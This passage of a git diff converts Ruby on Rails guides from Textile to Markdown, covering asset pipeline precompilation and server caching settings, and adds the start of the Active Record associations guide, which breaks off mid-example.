(Not Modified) response. If any of the files in the manifest have changed between requests, the server responds with a new compiled file. Debug mode can also be enabled in the Rails helper methods: -<erb> +```erb <%= stylesheet_link_tag "application", :debug => true %> <%= javascript_include_tag "application", :debug => true %> -</erb> +``` -The +:debug+ option is redundant if debug mode is on. +The `:debug` option is redundant if debug mode is on. You could potentially also enable compression in development mode as a sanity check, and disable it on-demand as required for debugging. -h3. In Production +In Production +------------- In the production environment Rails uses the fingerprinting scheme outlined above. By default Rails assumes that assets have been precompiled and will be served as static assets by your web server. @@ -376,104 +374,104 @@ During the precompilation phase an MD5 is generated from the contents of the com For example this: -<erb> +```erb <%= javascript_include_tag "application" %> <%= stylesheet_link_tag "application" %> -</erb> +``` generates something like this: -<html> +```html <script src="/assets/application-908e25f4bf641868d8683022a5b62f54.js"></script> <link href="/assets/application-4dd5b109ee3439da54f5bdfd78a80473.css" media="screen" rel="stylesheet" /> -</html> +``` -The fingerprinting behavior is controlled by the setting of +config.assets.digest+ setting in Rails (which defaults to +true+ for production and +false+ for everything else). +The fingerprinting behavior is controlled by the setting of `config.assets.digest` setting in Rails (which defaults to `true` for production and `false` for everything else). NOTE: Under normal circumstances the default option should not be changed. If there are no digests in the filenames, and far-future headers are set, remote clients will never know to refetch the files when their content changes. -h4. Precompiling Assets +### Precompiling Assets Rails comes bundled with a rake task to compile the asset manifests and other files in the pipeline to the disk. -Compiled assets are written to the location specified in +config.assets.prefix+. By default, this is the +public/assets+ directory. +Compiled assets are written to the location specified in `config.assets.prefix`. By default, this is the `public/assets` directory. You can call this task on the server during deployment to create compiled versions of your assets directly on the server. See the next section for information on compiling locally. The rake task is: -<plain> -bundle exec rake assets:precompile -</plain> +```bash +$ bundle exec rake assets:precompile +``` For faster asset precompiles, you can partially load your application by setting -+config.assets.initialize_on_precompile+ to false in +config/application.rb+, though in that case templates -cannot see application objects or methods. *Heroku requires this to be false.* +`config.assets.initialize_on_precompile` to false in `config/application.rb`, though in that case templates +cannot see application objects or methods. **Heroku requires this to be false.** -WARNING: If you set +config.assets.initialize_on_precompile+ to false, be sure to -test +rake assets:precompile+ locally before deploying. It may expose bugs where +WARNING: If you set `config.assets.initialize_on_precompile` to false, be sure to +test `rake assets:precompile` locally before deploying. It may expose bugs where your assets reference application objects or methods, since those are still in scope in development mode regardless of the value of this flag. Changing this flag also affects engines. Engines can define assets for precompilation as well. Since the complete environment is not loaded, engines (or other gems) will not be loaded, which can cause missing assets. -Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to +Capfile+: +Capistrano (v2.8.0 and above) includes a recipe to handle this in deployment. Add the following line to `Capfile`: -<erb> +```ruby load 'deploy/assets' -</erb> +``` -This links the folder specified in +config.assets.prefix+ to +shared/assets+. If you already use this shared folder you'll need to write your own deployment task. +This links the folder specified in `config.assets.prefix` to `shared/assets`. If you already use this shared folder you'll need to write your own deployment task. It is important that this folder is shared between deployments so that remotely cached pages that reference the old compiled assets still work for the life of the cached page. -NOTE. If you are precompiling your assets locally, you can use +bundle install --without assets+ on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). +NOTE. If you are precompiling your assets locally, you can use `bundle install --without assets` on the server to avoid installing the assets gems (the gems in the assets group in the Gemfile). -The default matcher for compiling files includes +application.js+, +application.css+ and all non-JS/CSS files (this will include all image assets automatically): +The default matcher for compiling files includes `application.js`, `application.css` and all non-JS/CSS files (this will include all image assets automatically): -<ruby> +```ruby [ Proc.new{ |path| !%w(.js .css).include?(File.extname(path)) }, /application.(css|js)$/ ] -</ruby> +``` -NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, +.coffee+ and +.scss+ files are *not* automatically included as they compile to JS/CSS. +NOTE. The matcher (and other members of the precompile array; see below) is applied to final compiled file names. This means that anything that compiles to JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and `.scss` files are **not** automatically included as they compile to JS/CSS. -If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the +precompile+ array: +If you have other manifests or individual stylesheets and JavaScript files to include, you can add them to the `precompile` array: -<erb> +```ruby config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js'] -</erb> +``` NOTE. Always specify an expected compiled filename that ends with js or css, even if you want to add Sass or CoffeeScript files to the precompile array. -The rake task also generates a +manifest.yml+ that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: +The rake task also generates a `manifest.yml` that contains a list with all your assets and their respective fingerprints. This is used by the Rails helper methods to avoid handing the mapping requests back to Sprockets. A typical manifest file looks like: -<plain> +```yaml --- rails.png: rails-bd9ad5a560b5a3a7be0808c5cd76a798.png jquery-ui.min.js: jquery-ui-7e33882a28fc84ad0e0e47e46cbf901c.min.js jquery.min.js: jquery-8a50feed8d29566738ad005e19fe1c2d.min.js application.js: application-3fdab497b8fb70d20cfc5495239dfc29.js application.css: application-8af74128f904600e41a6e39241464e03.css -</plain> +``` -The default location for the manifest is the root of the location specified in +config.assets.prefix+ ('/assets' by default). +The default location for the manifest is the root of the location specified in `config.assets.prefix` ('/assets' by default). -This can be changed with the +config.assets.manifest+ option. A fully specified path is required: +This can be changed with the `config.assets.manifest` option. A fully specified path is required: -<erb> +```ruby config.assets.manifest = '/path/to/some/other/location' -</erb> +``` -NOTE: If there are missing precompiled files in production you will get an <tt>Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError</tt> exception indicating the name of the missing file(s). +NOTE: If there are missing precompiled files in production you will get an `Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiledError` exception indicating the name of the missing file(s). -h5. Far-future Expires header +#### Far-future Expires header Precompiled assets exist on the filesystem and are served directly by your web server. They do not have far-future headers by default, so to get the benefit of fingerprinting you'll have to update your server configuration to add them. For Apache: -<plain> -# The Expires* directives requires the Apache module +mod_expires+ to be enabled. +```apache +# The Expires* directives requires the Apache module `mod_expires` to be enabled. <LocationMatch "^/assets/.*$"> # Use of ETag is discouraged when Last-Modified is present Header unset ETag @@ -482,11 +480,11 @@ For Apache: ExpiresActive On ExpiresDefault "access plus 1 year" </LocationMatch> -</plain> +``` For nginx: -<plain> +```nginx location ~ ^/assets/ { expires 1y; add_header Cache-Control public; @@ -494,34 +492,34 @@ location ~ ^/assets/ { add_header ETag ""; break; } -</plain> +``` -h5. GZip compression +#### GZip compression -When files are precompiled, Sprockets also creates a "gzipped":http://en.wikipedia.org/wiki/Gzip (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. +When files are precompiled, Sprockets also creates a [gzipped](http://en.wikipedia.org/wiki/Gzip) (.gz) version of your assets. Web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, Sprockets uses the maximum compression ratio, thus reducing the size of the data transfer to the minimum. On the other hand, web servers can be configured to serve compressed content directly from disk, rather than deflating non-compressed files themselves. -Nginx is able to do this automatically enabling +gzip_static+: +Nginx is able to do this automatically enabling `gzip_static`: -<plain> +```nginx location ~ ^/(assets)/ { root /path/to/public; gzip_static on; # to serve pre-gzipped version expires max; add_header Cache-Control public; } -</plain> +``` -This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even +nginx-light+ have the module compiled. Otherwise, you may need to perform a manual compilation: +This directive is available if the core module that provides this feature was compiled with the web server. Ubuntu packages, even `nginx-light` have the module compiled. Otherwise, you may need to perform a manual compilation: -<plain> +```bash ./configure --with-http_gzip_static_module -</plain> +``` If you're compiling nginx with Phusion Passenger you'll need to pass that option when prompted. A robust configuration for Apache is possible but tricky; please Google around. (Or help update this Guide if you have a good example configuration for Apache.) -h4. Local Precompilation +### Local Precompilation There are several reasons why you might want to precompile your assets locally. Among them are: @@ -536,159 +534,164 @@ There are two caveats: * You must not run the Capistrano deployment task that precompiles assets. * You must change the following two application configuration settings. -In <tt>config/environments/development.rb</tt>, place the following line: +In `config/environments/development.rb`, place the following line: -<erb> +```ruby config.assets.prefix = "/dev-assets" -</erb> +``` You will also need this in application.rb: -<erb> +```ruby config.assets.initialize_on_precompile = false -</erb> +``` -The +prefix+ change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to +/assets+ in the production environment. Without this change, the application would serve the precompiled assets from +public/assets+ in development, and you would not see any local changes until you compile assets again. +The `prefix` change makes Rails use a different URL for serving assets in development mode, and pass all requests to Sprockets. The prefix is still set to `/assets` in the production environment. Without this change, the application would serve the precompiled assets from `public/assets` in development, and you would not see any local changes until you compile assets again. -The +initialize_on_precompile+ change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option. +The `initialize_on_precompile` change tells the precompile task to run without invoking Rails. This is because the precompile task runs in production mode by default, and will attempt to connect to your specified production database. Please note that you cannot have code in pipeline files that relies on Rails resources (such as the database) when compiling locally with this option. You will also need to ensure that any compressors or minifiers are available on your development system. In practice, this will allow you to precompile locally, have those files in your working tree, and commit those files to source control when needed. Development mode will work as expected. -h4. Live Compilation +### Live Compilation In some circumstances you may wish to use live compilation. In this mode all requests for assets in the pipeline are handled by Sprockets directly. To enable this option set: -<erb> +```ruby config.assets.compile = true -</erb> +``` On the first request the assets are compiled and cached as outlined in development above, and the manifest names used in the helpers are altered to include the MD5 hash. -Sprockets also sets the +Cache-Control+ HTTP header to +max-age=31536000+. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. +Sprockets also sets the `Cache-Control` HTTP header to `max-age=31536000`. This signals all caches between your server and the client browser that this content (the file served) can be cached for 1 year. The effect of this is to reduce the number of requests for this asset from your server; the asset has a good chance of being in the local browser cache or some intermediate cache. This mode uses more memory, performs more poorly than the default and is not recommended. If you are deploying a production application to a system without any pre-existing JavaScript runtimes, you may want to add one to your Gemfile: -<plain> +```ruby group :production do gem 'therubyracer' end -</plain> +``` -h3. Customizing the Pipeline +Customizing the Pipeline +------------------------ -h4. CSS Compression +### CSS Compression -There is currently one option for compressing CSS, YUI. The "YUI CSS compressor":http://developer.yahoo.com/yui/compressor/css.html provides minification. +There is currently one option for compressing CSS, YUI. The [YUI CSS compressor](http://developer.yahoo.com/yui/compressor/css.html) provides minification. -The following line enables YUI compression, and requires the +yui-compressor+ gem. +The following line enables YUI compression, and requires the `yui-compressor` gem. -<erb> +```ruby config.assets.css_compressor = :yui -</erb> +``` -The +config.assets.compress+ must be set to +true+ to enable CSS compression. +The `config.assets.compress` must be set to `true` to enable CSS compression. -h4. JavaScript Compression +### JavaScript Compression -Possible options for JavaScript compression are +:closure+, +:uglifier+ and +:yui+. These require the use of the +closure-compiler+, +uglifier+ or +yui-compressor+ gems, respectively. +Possible options for JavaScript compression are `:closure`, `:uglifier` and `:yui`. These require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems, respectively. -The default Gemfile includes "uglifier":https://github.com/lautis/uglifier. This gem wraps "UglifierJS":https://github.com/mishoo/UglifyJS (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your +if+ and +else+ statements to ternary operators where possible. +The default Gemfile includes [uglifier](https://github.com/lautis/uglifier). This gem wraps [UglifierJS](https://github.com/mishoo/UglifyJS) (written for NodeJS) in Ruby. It compresses your code by removing white space. It also includes other optimizations such as changing your `if` and `else` statements to ternary operators where possible. -The following line invokes +uglifier+ for JavaScript compression. +The following line invokes `uglifier` for JavaScript compression. -<erb> +```ruby config.assets.js_compressor = :uglifier -</erb> +``` -Note that +config.assets.compress+ must be set to +true+ to enable JavaScript compression +Note that `config.assets.compress` must be set to `true` to enable JavaScript compression -NOTE: You will need an "ExecJS":https://github.com/sstephenson/execjs#readme supported runtime in order to use +uglifier+. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the "ExecJS":https://github.com/sstephenson/execjs#readme documentation for information on all of the supported JavaScript runtimes. +NOTE: You will need an [ExecJS](https://github.com/sstephenson/execjs#readme) supported runtime in order to use `uglifier`. If you are using Mac OS X or Windows you have a JavaScript runtime installed in your operating system. Check the [ExecJS](https://github.com/sstephenson/execjs#readme) documentation for information on all of the supported JavaScript runtimes. -h4. Using Your Own Compressor +### Using Your Own Compressor -The compressor config settings for CSS and JavaScript also take any object. This object must have a +compress+ method that takes a string as the sole argument and it must return a string. +The compressor config settings for CSS and JavaScript also take any object. This object must have a `compress` method that takes a string as the sole argument and it must return a string. -<erb> +```ruby class Transformer def compress(string) do_something_returning_a_string(string) end end -</erb> +``` -To enable this, pass a +new+ object to the config option in +application.rb+: +To enable this, pass a `new` object to the config option in `application.rb`: -<erb> +```ruby config.assets.css_compressor = Transformer.new -</erb> +``` -h4. Changing the _assets_ Path +### Changing the _assets_ Path -The public path that Sprockets uses by default is +/assets+. +The public path that Sprockets uses by default is `/assets`. This can be changed to something else: -<erb> +```ruby config.assets.prefix = "/some_other_path" -</erb> +``` This is a handy option if you are updating an existing project (pre Rails 3.1) that already uses this path or you wish to use this path for a new resource. -h4. X-Sendfile Headers +### X-Sendfile Headers The X-Sendfile header is a directive to the web server to ignore the response from the application, and instead serve a specified file from disk. This option is off by default, but can be enabled if your server supports it. When enabled, this passes responsibility for serving the file to the web server, which is faster. -Apache and nginx support this option, which can be enabled in <tt>config/environments/production.rb</tt>. +Apache and nginx support this option, which can be enabled in `config/environments/production.rb`. -<erb> +```ruby # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx -</erb> +``` -WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into +production.rb+ and any other environments you define with production behavior (not +application.rb+). +WARNING: If you are upgrading an existing application and intend to use this option, take care to paste this configuration option only into `production.rb` and any other environments you define with production behavior (not `application.rb`). -h3. Assets Cache Store +Assets Cache Store +------------------ -The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting +config.assets.cache_store+. +The default Rails cache store will be used by Sprockets to cache assets in development and production. This can be changed by setting `config.assets.cache_store`. -<ruby> +```ruby config.assets.cache_store = :memory_store -</ruby> +``` The options accepted by the assets cache store are the same as the application's cache store. -<ruby> +```ruby config.assets.cache_store = :memory_store, { :size => 32.megabytes } -</ruby> +``` -h3. Adding Assets to Your Gems +Adding Assets to Your Gems +-------------------------- Assets can also come from external sources in the form of gems. -A good example of this is the +jquery-rails+ gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from +Rails::Engine+. By doing this, Rails is informed that the directory for this gem may contain assets and the +app/assets+, +lib/assets+ and +vendor/assets+ directories of this engine are added to the search path of Sprockets. +A good example of this is the `jquery-rails` gem which comes with Rails as the standard JavaScript library gem. This gem contains an engine class which inherits from `Rails::Engine`. By doing this, Rails is informed that the directory for this gem may contain assets and the `app/assets`, `lib/assets` and `vendor/assets` directories of this engine are added to the search path of Sprockets. -h3. Making Your Library or Gem a Pre-Processor +Making Your Library or Gem a Pre-Processor +------------------------------------------ -TODO: Registering gems on "Tilt":https://github.com/rtomayko/tilt enabling Sprockets to find them. +TODO: Registering gems on [Tilt](https://github.com/rtomayko/tilt) enabling Sprockets to find them. -h3. Upgrading from Old Versions of Rails +Upgrading from Old Versions of Rails +------------------------------------ -There are a few issues when upgrading. The first is moving the files from +public/+ to the new locations. See "Asset Organization":#asset-organization above for guidance on the correct locations for different file types. +There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types. -Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy +jquery.js+ into +app/assets+ and it will be included automatically. +Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically. The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0. -In +application.rb+: +In `application.rb`: -<erb> +```ruby # Enable the asset pipeline config.assets.enabled = true @@ -697,21 +700,21 @@ config.assets.version = '1.0' # Change the path that assets are served from # config.assets.prefix = "/assets" -</erb> +``` -In +development.rb+: +In `development.rb`: -<erb> +```ruby # Do not compress assets config.assets.compress = false # Expands the lines which load the assets config.assets.debug = true -</erb> +``` -And in +production.rb+: +And in `production.rb`: -<erb> +```ruby # Compress JavaScripts and CSS config.assets.compress = true @@ -730,13 +733,13 @@ config.assets.digest = true # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) # config.assets.precompile += %w( search.js ) -</erb> +``` -You should not need to change +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false. +You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false. -The following should also be added to +Gemfile+: +The following should also be added to `Gemfile`: -<plain> +```ruby # Gems used only for assets and not required # in production environments by default. group :assets do @@ -744,23 +747,23 @@ group :assets do gem 'coffee-rails', "~> 3.2.1" gem 'uglifier' end -</plain> +``` -If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement: +If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement: -<ruby> +```ruby if defined?(Bundler) # If you precompile assets before deploying to production, use this line Bundler.require *Rails.groups(:assets => %w(development test)) # If you want your assets lazily compiled in production, use this line # Bundler.require(:default, :assets, Rails.env) end -</ruby> +``` Instead of the old Rails 3.0 version: -<ruby> +```ruby # If you have a Gemfile, require the gems listed there, including any gems # you've limited to :test, :development, or :production. Bundler.require(:default, Rails.env) if defined?(Bundler) -</ruby> +``` diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md new file mode 100644 index 0000000000..dbf18b511c --- /dev/null +++ b/guides/source/association_basics.md @@ -0,0 +1,1974 @@ +A Guide to Active Record Associations +===================================== + +This guide covers the association features of Active Record. By referring to this guide, you will be able to: + +* Declare associations between Active Record models +* Understand the various types of Active Record associations +* Use the methods added to your models by creating associations + +-------------------------------------------------------------------------------- + +Why Associations? +----------------- + +Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this: + +```ruby +class Customer < ActiveRecord::Base +end + +class Order < ActiveRecord::Base +end +``` + +Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this: + +```ruby +@order = Order.create(:order_date => Time.now, + :customer_id => @customer.id) +``` + +Or consider deleting a customer, and ensuring that all of its orders get deleted as well: + +```ruby +@orders = Order.where(:customer_id => @customer.id) +@orders.each do |order| + order.destroy +end +@customer.destroy +``` + +With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :dependent => :destroy +end + +class Order < ActiveRecord::Base + belongs_to :customer +end +``` + +With this change, creating a new order for a particular customer is easier: + +```ruby +@order = @customer.orders.create(:order_date => Time.now) +``` + +Deleting a customer and all of its orders is _much_ easier: + +```ruby +@customer.destroy +``` + +To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. + +The Types of Associations +------------------------- + +In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: + +* `belongs_to` +* `has_one` +* `has_many` +* `has_many :through` +* `has_one :through` +* `has_and_belongs_to_many` + +In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. + +### The `belongs_to` Association + +A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer +end +``` + + + +NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too. + +### The `has_one` Association + +A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account +end +``` + + + +### The `has_many` Association + +A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders +end +``` + +NOTE: The name of the other model is pluralized when declaring a `has_many` association. + + + +### The `has_many :through` Association + +A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: + +```ruby +class Physician < ActiveRecord::Base + has_many :appointments + has_many :patients, :through => :appointments +end + +class Appointment < ActiveRecord::Base + belongs_to :physician + belongs_to :patient +end + +class Patient < ActiveRecord::Base + has_many :appointments + has_many :physicians, :through => :appointments +end +``` + + + +The collection of join models can be managed via the API. For example, if you assign + +```ruby +physician.patients = patients +``` + +new join models are created for newly associated objects, and if some are gone their rows are deleted. + +WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered. + +The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: + +```ruby +class Document < ActiveRecord::Base + has_many :sections + has_many :paragraphs, :through => :sections +end + +class Section < ActiveRecord::Base + belongs_to :document + has_many :paragraphs +end + +class Paragraph < ActiveRecord::Base + belongs_to :section +end +``` + +With `:through => :sections` specified, Rails will now understand: + +```ruby +@document.paragraphs +``` + +### The `has_one :through` Association + +A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account + has_one :account_history, :through => :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier + has_one :account_history +end + +class AccountHistory < ActiveRecord::Base + belongs_to :account +end +``` + + + +### The `has_and_belongs_to_many` Association + +A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: + +```ruby +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +``` + + + +### Choosing Between `belongs_to` and `has_one` + +If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which? + +The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: + +```ruby +class Supplier < ActiveRecord::Base + has_one :account +end + +class Account < ActiveRecord::Base + belongs_to :supplier +end +``` + +The corresponding migration might look like this: + +```ruby +class CreateSuppliers < ActiveRecord::Migration + def change + create_table :suppliers do |t| + t.string :name + t.timestamps + end + + create_table :accounts do |t| + t.integer :supplier_id + t.string :account_number + t.timestamps + end + end +end +``` + +NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead. + +### Choosing Between `has_many :through` and `has_and_belongs_to_many` + +Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly: + +```ruby +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +``` + +The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model: + +```ruby +class Assembly < ActiveRecord::Base + has_many :manifests + has_many :parts, :through => :manifests +end + +class Manifest < ActiveRecord::Base + belongs_to :assembly + belongs_to :part +end + +class Part < ActiveRecord::Base + has_many :manifests + has_many :assemblies, :through => :manifests +end +``` + +The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database). + +You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model. + +### Polymorphic Associations + +A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: + +```ruby +class Picture < ActiveRecord::Base + belongs_to :imageable, :polymorphic => true +end + +class Employee < ActiveRecord::Base + has_many :pictures, :as => :imageable +end + +class Product < ActiveRecord::Base + has_many :pictures, :as => :imageable +end +``` + +You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`. + +Similarly, you can retrieve `@product.pictures`. + +If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: + +```ruby +class CreatePictures < ActiveRecord::Migration + def change + create_table :pictures do |t| + t.string :name + t.integer :imageable_id + t.string :imageable_type + t.timestamps + end + end +end +``` + +This migration can be simplified by using the `t.references` form: + +```ruby +class CreatePictures < ActiveRecord::Migration + def change + create_table :pictures do |t| + t.string :name + t.references :imageable, :polymorphic => true + t.timestamps + end + end +end +``` + + + +### Self Joins + +In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: + +```ruby +class Employee < ActiveRecord::Base + has_many :subordinates, :class_name => "Employee", + :foreign_key => "manager_id" + belongs_to :manager, :class_name => "Employee" +end +``` + +With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`. + +Tips, Tricks, and Warnings +-------------------------- + +Here are a few things you should know to make efficient use of Active Record associations in your Rails applications: + +* Controlling caching +* Avoiding name collisions +* Updating the schema +* Controlling association scope +* Bi-directional associations + +### Controlling Caching + +All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: + +```ruby +customer.orders # retrieves orders from the database +customer.orders.size # uses the cached copy of orders +customer.orders.empty? # uses the cached copy of orders +``` + +But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call: + +```ruby +customer.orders # retrieves orders from the database +customer.orders.size # uses the cached copy of orders +customer.orders(true).empty? # discards the cached copy of orders + # and goes back to the database +``` + +### Avoiding Name Collisions + +You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations. + +### Updating the Schema + +Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table. + +#### Creating Foreign Keys for `belongs_to` Associations + +When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model: + +```ruby +class Order < ActiveRecord::Base + belongs_to :customer +end +``` + +This declaration needs to be backed up by the proper foreign key declaration on the orders table: + +```ruby +class CreateOrders < ActiveRecord::Migration + def change + create_table :orders do |t| + t.datetime :order_date + t.string :order_number + t.integer :customer_id + end + end +end +``` + +If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key. + +#### Creating Join Tables for `has_and_belongs_to_many` Associations + +If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. + +WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings). + +Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: + +```ruby +class Assembly < ActiveRecord::Base + has_and_belongs_to_many :parts +end + +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +``` + +These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key: + +```ruby +class CreateAssemblyPartJoinTable < ActiveRecord::Migration + def change + create_table :assemblies_parts, :id => false do |t| + t.integer :assembly_id + t.integer :part_id + end + end +end +``` + +We pass `:id => false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. + +### Controlling Association Scope + +By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: + +```ruby +module MyApplication + module Business + class Supplier < 